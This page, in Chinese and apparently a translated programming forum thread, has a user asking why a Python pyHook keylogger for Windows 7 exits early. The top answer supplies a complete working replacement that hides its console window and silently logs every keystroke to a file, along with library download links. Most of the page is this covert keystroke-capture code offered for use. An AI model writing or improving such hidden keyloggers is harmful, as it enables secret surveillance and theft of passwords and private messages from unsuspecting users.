帮我解决键盘记录器的问题
我正在做一个简单的键盘记录器。不过我遇到了一个问题,当我试着把它作为.pyw文件运行时,程序在记录任何东西之前就关闭了。我觉得它需要一个循环,那我该怎么做呢?
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y | ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
if chr(event.Ascii) == "q":
sys.exit(0)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
顺便说一下,我用的是Windows 7。
2 个回答
1
通过 Python 的 IDLE 打开程序(右键点击选择用 IDLE 编辑),然后去“运行”菜单,点击“运行模块”(F5),这样你就能看到错误信息了。
调试的小提示:注意查看错误出现在第几行(像我用的 atom.io 这样的编辑器都有行号),这样你就知道该去哪里找问题了。
双重提示:如果你想用外部编辑器,但又想看到错误信息,可以打开命令提示符,进入你程序所在的文件夹(比如用 cd project-folder\second-folder
),然后输入 python <脚本名称>
,例如 python keylogger.py
。
补充说明:
python script.py
可能无法工作,因为 Python 可能没有添加到路径变量中。这个网站解释了如何将程序添加到你的路径中。
6
这是我简单的例子(你的代码是错的):
(你需要安装 pyHook 和 win32api)
#!/usr/bin/python
import pyHook
import pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
pyHook:
http://sourceforge.net/projects/pyhook/?source=dlp
pyWin32: